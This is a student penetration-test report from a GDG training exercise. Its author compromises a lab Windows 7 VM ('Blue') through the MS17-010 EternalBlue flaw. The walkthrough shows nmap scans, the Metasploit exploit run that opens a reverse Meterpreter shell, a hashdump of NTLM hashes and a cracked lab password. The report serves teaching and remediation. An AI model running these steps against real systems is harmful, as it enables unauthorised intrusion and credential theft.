ASSIGNMENT
REPORT

PREPARED FOR:
GDG (GOOGLE-DEVOLOPER-GROUP)

Table of Contents

1. Statement of Confidentiality

This document contains sensitive security information and is intended solely for educational and training purposes. Unauthorized distribution, sharing, or disclosure of this report is strictly prohibited. All findings and actions were performed in a controlled environment on a vulnerable virtual machine (GDG Blue) and should not be used in a production environment.

2. Engagement Contacts

Pentester Name: Abanoub Ehab
Email: Abanop01094789435@gmail.com
Machine: Blue (Vulnerable Windows 7 VM)Lab Environment: Local Virtual Network using VMware / VirtualBox.
Date of Assessment: 4/7/2025.
Tools Used: Nmap, Metasploit , CrackStation.

3. Executive Summary

This penetration test was conducted as part of a cybersecurity training task under the GDG program.

The objective was to assess and exploit a vulnerable Windows 7 system (referred to as Blue), which was pre-configured with a known critical vulnerability: MS17-010 (EternalBlue).During the assessment, we successfully:
Identified the presence of the EternalBlue vulnerability.Exploited it to gain remote SYSTEM access using Metasploit.Performed post-exploitation actions, including password hash extraction and cracking.
The exercise demonstrates the high risk of unpatched legacy systems and emphasizes the importance of timely security updates and service hardening.

3.1 Objective

Complete the GDG training task by compromising the target machine.Apply
enumeration, exploitation, and post-exploitation techniques in a lab environment.

3.2 Scope

Target: Windows 7 Virtual Machine (Blue)
Network: 192.168.1.0/24
Target_IP: 192.168.1.32
Environment: Local virtual lab (Vmware)

3.3 Overview and Recommendations

Main Finding: Unpatched MS17-010 vulnerability
Access Level Achieved: SYSTEM
User Compromised: jon (NTLM hash cracked)
Recommendations:Apply MS17-010 security update.Disable SMBv1 protocol.Restrict access to SMB ports (TCP 445).
Monitor network for unusual SMB traffic.

4. Walkthrough / Internal Network Compromise

4.1 Reconnaissance
4.2 Vulnerability Discovery
4.3 Exploitation
4.4 Post-Exploitation
4.5 Task Completion

4.1 Reconnaissance

The initial step involved discovering open ports and available services on the target machine using Nmap:

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 11:02 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
```

And this Our target

```
Host is up (0.0016s latency).
MAC Address: 30:52:CB:B6:F8:69 (Liteon Technology)
Nmap scan report for 192.168.1.37
Host is up (0.00068s latency).
```

4.2 Vulnerability Discovery

After identifying that SMB was active on port 445, we used Nmap's NSE script to check for the EternalBlue vulnerability (MS17-010).

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -p445 --script smb-vuln-ms17-010 192.168.1.37
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 11:12 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.1.37
Host is up (0.00032s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:E1:3C:6D (VMware)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
```

And As You can See Our Target Is Vulnerable, Now it’s time For Exploitation

4.3 Exploitation

After confirming that the target was vulnerable to MS17-010, we used the Metasploit Framework to exploit the EternalBlue vulnerability and gain remote code execution as SYSTEM.

```
┌──(root㉿kali)-[/home/kali]
└─# msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
[*] Starting the Metasploit Framework cOnsole ... \e ... /
```

Searching For Exploit By typing

```
msf6 > search ms17-010

Matching Modules
================

   #   Name                                      Disclosure Date  Rank     Check  Description
   -   ----                                      ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target             .                .        .      .
   2     \_ target: Windows 7                    .                .        .      .
   3     \_ target: Windows Embedded Standard 7  .                .        .      .
```

Check The Required options

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-me
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only aff
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows S
```

Set Victim Host and **BOOM We Have a Foothold**

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.37
rhost => 192.168.1.37
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.27:4444
[*] 192.168.1.37:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.37:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 S
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/fingerprint/r
[*] Sending stage (203846 bytes) to 192.168.1.37
[*] 192.168.1.37:445      - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.37:445 - The target is vulnerable.
[*] 192.168.1.37:445 - Connecting to target for exploitation.
[+] 192.168.1.37:445 - Connection established for exploitation.
[+] 192.168.1.37:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.37:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.37:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Prof
[*] 192.168.1.37:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Se
[*] 192.168.1.37:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 192.168.1.37:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.37:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.37:445 - Sending all but last fragment of exploit packet
[*] Meterpreter session 1 opened (192.168.1.27:4444 → 192.168.1.37:49163) at 2025-07-04 15:37:19
[-] 192.168.1.37:445 - RubySMB::Error::CommunicationError: RubySMB::Error::CommunicationError

meterpreter >
```

Some information
About The system

```
meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```

4.4 Post-Exploitation

After gaining access through Meterpreter, we conducted several post-exploitation steps to extract sensitive data and demonstrate the impact of the vulnerability.

a) Extracting User Hashes

We used the "**hashdump"** command within the Meterpreter session to retrieve NTLM password hashes.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >
```

Let's Try to Crack this hash using this website:
https://crackstation.net/

ffb43f0de35be4d9917ac0cc8ad57f8d	NTLM	alqfna22

Our victim Password is : **alqfna22**

4.5 Task Completion

objective of this task was to exploit a Windows 7 machine (Blue) using the **EternalBlue** vulnerability, gain access, and extract valuable post-exploitation data.

Summary of Achievements:
Successfully exploited MS17-010 (EternalBlue) using Metasploit.Gained SYSTEM-level access via a Meterpreter session.Extracted and cracked NTLM password hash for user jon.
Retrieved the cleartext password: **alqfna22**.
These steps demonstrate a full compromise of the target system, proving the risk associated with unpatched critical vulnerabilities.

4.6 References

Link for machine :
https://drive.google.com/file/d/11f_wsW59Dh1fGvQCNUPK70lIWzlcg44_/view

Link Room On Try_Hack_Me:
https://tryhackme.com/room/blue